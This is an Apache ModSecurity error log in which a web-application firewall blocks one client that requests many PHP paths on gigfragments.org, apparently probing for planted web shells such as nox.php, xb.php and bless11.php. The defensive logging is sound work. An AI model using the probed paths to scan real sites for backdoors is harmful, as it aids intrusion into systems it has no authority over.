[Sun Mar 01 00:24:17.059812 2026] [:error] [pid 30795:tid 30820] [client 4.241.228.159:2228] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aaMWsWuI44IL94Zgti-kPAAAAAw"]
[Sun Mar 01 00:24:17.340343 2026] [:error] [pid 30795:tid 30814] [client 4.241.228.159:2574] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aaMWsWuI44IL94Zgti-kPgAAAAY"]
[Sun Mar 01 00:24:17.689633 2026] [:error] [pid 53600:tid 53614] [client 4.241.228.159:2543] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aaMWsQ2UMRAYWtDB23SdqQAAAQs"]
[Sun Mar 01 00:24:18.018142 2026] [:error] [pid 53600:tid 53607] [client 4.241.228.159:2619] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file7.php"] [unique_id "aaMWsg2UMRAYWtDB23SdrgAAAQQ"]
[Sun Mar 01 00:24:18.281092 2026] [:error] [pid 31190:tid 31219] [client 4.241.228.159:2565] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file7.php"] [unique_id "aaMWshfvwGOholYpM1E8IwAAAM0"]
[Sun Mar 01 00:24:18.541176 2026] [:error] [pid 31190:tid 31217] [client 4.241.228.159:2871] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file7.php"] [unique_id "aaMWshfvwGOholYpM1E8JgAAAMs"]
[Sun Mar 01 00:24:18.830670 2026] [:error] [pid 30798:tid 30923] [client 4.241.228.159:2215] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file7.php"] [unique_id "aaMWssBkD73gO8wTonY5PAAAAJc"]
[Sun Mar 01 00:24:19.110355 2026] [:error] [pid 31190:tid 31227] [client 4.241.228.159:2838] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aaMWsxfvwGOholYpM1E8LQAAANU"]
[Sun Mar 01 00:24:19.390061 2026] [:error] [pid 30798:tid 30906] [client 4.241.228.159:2860] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aaMWs8BkD73gO8wTonY5PQAAAIc"]
[Sun Mar 01 00:24:19.637349 2026] [:error] [pid 31190:tid 31216] [client 4.241.228.159:2561] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aaMWsxfvwGOholYpM1E8MwAAAMo"]
[Sun Mar 01 00:24:19.877942 2026] [:error] [pid 30798:tid 30917] [client 4.241.228.159:2556] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aaMWs8BkD73gO8wTonY5QgAAAJI"]
[Sun Mar 01 00:24:20.180605 2026] [:error] [pid 53600:tid 53616] [client 4.241.228.159:2587] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaMWtA2UMRAYWtDB23SdwwAAAQ0"]
[Sun Mar 01 00:24:20.414631 2026] [:error] [pid 31190:tid 31214] [client 4.241.228.159:2853] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaMWtBfvwGOholYpM1E8QAAAAMg"]
[Sun Mar 01 00:24:20.642969 2026] [:error] [pid 31190:tid 31207] [client 4.241.228.159:2605] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaMWtBfvwGOholYpM1E8RAAAAME"]
[Sun Mar 01 00:24:20.878697 2026] [:error] [pid 31190:tid 31210] [client 4.241.228.159:2350] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaMWtBfvwGOholYpM1E8RwAAAMQ"]
[Sun Mar 01 00:24:21.172092 2026] [:error] [pid 31190:tid 31219] [client 4.241.228.159:2837] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aaMWtRfvwGOholYpM1E8SQAAAM0"]
[Sun Mar 01 00:24:21.402068 2026] [:error] [pid 30797:tid 30874] [client 4.241.228.159:2891] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aaMWtfQmcmSQL-3rvLD4EQAAAEM"]
[Sun Mar 01 00:24:21.646551 2026] [:error] [pid 30795:tid 30827] [client 4.241.228.159:2887] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aaMWtWuI44IL94Zgti-kSgAAABM"]
[Sun Mar 01 00:24:21.895404 2026] [:error] [pid 30795:tid 30824] [client 4.241.228.159:2231] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aaMWtWuI44IL94Zgti-kSwAAABA"]
[Sun Mar 01 00:24:22.135817 2026] [:error] [pid 31190:tid 31210] [client 4.241.228.159:2567] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aaMWthfvwGOholYpM1E8UQAAAMQ"]
[Sun Mar 01 00:24:22.359845 2026] [:error] [pid 31190:tid 31212] [client 4.241.228.159:2613] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aaMWthfvwGOholYpM1E8VAAAAMY"]
[Sun Mar 01 00:24:22.628863 2026] [:error] [pid 30795:tid 30830] [client 4.241.228.159:2474] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aaMWtmuI44IL94Zgti-kTwAAABY"]
[Sun Mar 01 00:24:22.862431 2026] [:error] [pid 31190:tid 31207] [client 4.241.228.159:2833] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aaMWthfvwGOholYpM1E8VwAAAME"]
[Sun Mar 01 00:24:23.088092 2026] [:error] [pid 31190:tid 31213] [client 4.241.228.159:2848] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aaMWtxfvwGOholYpM1E8WQAAAMc"]
[Sun Mar 01 00:24:23.313224 2026] [:error] [pid 31190:tid 31216] [client 4.241.228.159:2212] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aaMWtxfvwGOholYpM1E8XgAAAMo"]
[Sun Mar 01 00:24:23.539347 2026] [:error] [pid 31190:tid 31211] [client 4.241.228.159:2608] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aaMWtxfvwGOholYpM1E8YgAAAMU"]
[Sun Mar 01 00:24:23.815498 2026] [:error] [pid 53600:tid 53626] [client 4.241.228.159:2601] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aaMWtw2UMRAYWtDB23Sd-wAAARc"]
[Sun Mar 01 00:24:24.048910 2026] [:error] [pid 31190:tid 31210] [client 4.241.228.159:2819] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aaMWuBfvwGOholYpM1E8aAAAAMQ"]
[Sun Mar 01 00:24:24.274724 2026] [:error] [pid 31190:tid 31222] [client 4.241.228.159:2577] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aaMWuBfvwGOholYpM1E8bAAAANA"]
[Sun Mar 01 00:24:24.615323 2026] [:error] [pid 30798:tid 30914] [client 4.241.228.159:2593] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aaMWuMBkD73gO8wTonY5WwAAAI8"]
[Sun Mar 01 00:24:24.890344 2026] [:error] [pid 31190:tid 31230] [client 4.241.228.159:2863] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aaMWuBfvwGOholYpM1E8cAAAANg"]
[Sun Mar 01 00:24:25.131836 2026] [:error] [pid 30795:tid 30816] [client 4.241.228.159:2831] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aaMWuWuI44IL94Zgti-kYQAAAAg"]
[Sun Mar 01 00:24:25.370114 2026] [:error] [pid 30795:tid 30823] [client 4.241.228.159:2562] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aaMWuWuI44IL94Zgti-kZAAAAA8"]
[Sun Mar 01 00:24:25.612943 2026] [:error] [pid 30795:tid 30810] [client 4.241.228.159:2615] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aaMWuWuI44IL94Zgti-kZgAAAAI"]
[Sun Mar 01 00:24:25.845149 2026] [:error] [pid 30795:tid 30815] [client 4.241.228.159:2606] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aaMWuWuI44IL94Zgti-kZwAAAAc"]
[Sun Mar 01 00:24:26.085171 2026] [:error] [pid 30795:tid 30825] [client 4.241.228.159:2564] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aaMWumuI44IL94Zgti-kawAAABE"]
[Sun Mar 01 00:24:26.313435 2026] [:error] [pid 30798:tid 30909] [client 4.241.228.159:2568] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aaMWusBkD73gO8wTonY5XwAAAIo"]
[Sun Mar 01 00:24:26.570953 2026] [:error] [pid 31190:tid 31220] [client 4.241.228.159:2902] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aaMWuhfvwGOholYpM1E8gAAAAM4"]
[Sun Mar 01 00:24:26.796180 2026] [:error] [pid 30797:tid 30875] [client 4.241.228.159:2551] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aaMWuvQmcmSQL-3rvLD4GQAAAEQ"]
[Sun Mar 01 00:24:27.097273 2026] [:error] [pid 30795:tid 30809] [client 4.241.228.159:2470] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aaMWu2uI44IL94Zgti-kcgAAAAE"]
[Sun Mar 01 00:24:27.329365 2026] [:error] [pid 53600:tid 53613] [client 4.241.228.159:2844] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aaMWuw2UMRAYWtDB23SeDgAAAQo"]
[Sun Mar 01 00:24:27.625744 2026] [:error] [pid 31190:tid 31215] [client 4.241.228.159:2617] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aaMWuxfvwGOholYpM1E8iAAAAMk"]
[Sun Mar 01 00:24:27.852449 2026] [:error] [pid 30798:tid 30917] [client 4.241.228.159:2208] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aaMWu8BkD73gO8wTonY5YwAAAJI"]
[Sun Mar 01 00:24:28.107284 2026] [:error] [pid 30798:tid 30923] [client 4.241.228.159:2907] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ton.php"] [unique_id "aaMWvMBkD73gO8wTonY5ZQAAAJc"]
[Sun Mar 01 00:24:28.349119 2026] [:error] [pid 31190:tid 31217] [client 4.241.228.159:2638] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ton.php"] [unique_id "aaMWvBfvwGOholYpM1E8iQAAAMs"]
[Sun Mar 01 00:24:28.574470 2026] [:error] [pid 30795:tid 30811] [client 4.241.228.159:2857] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ton.php"] [unique_id "aaMWvGuI44IL94Zgti-keQAAAAM"]
[Sun Mar 01 00:24:28.867524 2026] [:error] [pid 30798:tid 30914] [client 4.241.228.159:2596] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ton.php"] [unique_id "aaMWvMBkD73gO8wTonY5aAAAAI8"]
[Sun Mar 01 00:24:29.106204 2026] [:error] [pid 30798:tid 30915] [client 4.241.228.159:2934] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaMWvcBkD73gO8wTonY5agAAAJA"]
[Sun Mar 01 00:24:29.418611 2026] [:error] [pid 30798:tid 30908] [client 4.241.228.159:2236] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaMWvcBkD73gO8wTonY5awAAAIk"]
[Sun Mar 01 00:24:29.667264 2026] [:error] [pid 30798:tid 30916] [client 4.241.228.159:2571] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaMWvcBkD73gO8wTonY5bQAAAJE"]
[Sun Mar 01 00:24:29.977093 2026] [:error] [pid 31190:tid 31218] [client 4.241.228.159:2216] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaMWvRfvwGOholYpM1E8jgAAAMw"]
[Sun Mar 01 00:24:30.270741 2026] [:error] [pid 31190:tid 31206] [client 4.241.228.159:2563] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aaMWvhfvwGOholYpM1E8kQAAAMA"]
[Sun Mar 01 00:24:30.538630 2026] [:error] [pid 31190:tid 31215] [client 4.241.228.159:2872] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aaMWvhfvwGOholYpM1E8lQAAAMk"]
[Sun Mar 01 00:24:30.768203 2026] [:error] [pid 53600:tid 53611] [client 4.241.228.159:2878] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aaMWvg2UMRAYWtDB23SeGgAAAQg"]
[Sun Mar 01 00:24:51.923130 2026] [:error] [pid 53600:tid 53603] [client 4.241.228.159:2582] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aaMW0w2UMRAYWtDB23Se-wAAAQA"]
[Sun Mar 01 00:24:52.246486 2026] [:error] [pid 53600:tid 53622] [client 4.241.228.159:2580] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aaMW1A2UMRAYWtDB23Se_QAAARM"]
[Sun Mar 01 00:24:52.480019 2026] [:error] [pid 53600:tid 53609] [client 4.241.228.159:2851] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aaMW1A2UMRAYWtDB23SfAAAAAQY"]
